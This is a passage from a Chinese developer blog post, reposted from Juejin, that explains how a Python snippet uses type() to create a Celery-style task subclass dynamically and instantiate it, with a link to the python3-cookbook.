'__module__': fun.__module__,
'__annotations__': fun.__annotations__,
'__header__': staticmethod(head_from_fun(fun, bound=bind)),
'__wrapped__': run}, **options))()

通过type函数创了一个动态的task子类,然后执行 () 实例化一个task子对象。

参考链接

  • 以编程方式定义类 python3-cookbook.readthedocs.io/zh_CN/lates…

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…341342343…956

开发者博客

9558 日志
1953 标签
RSS
© 2025 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%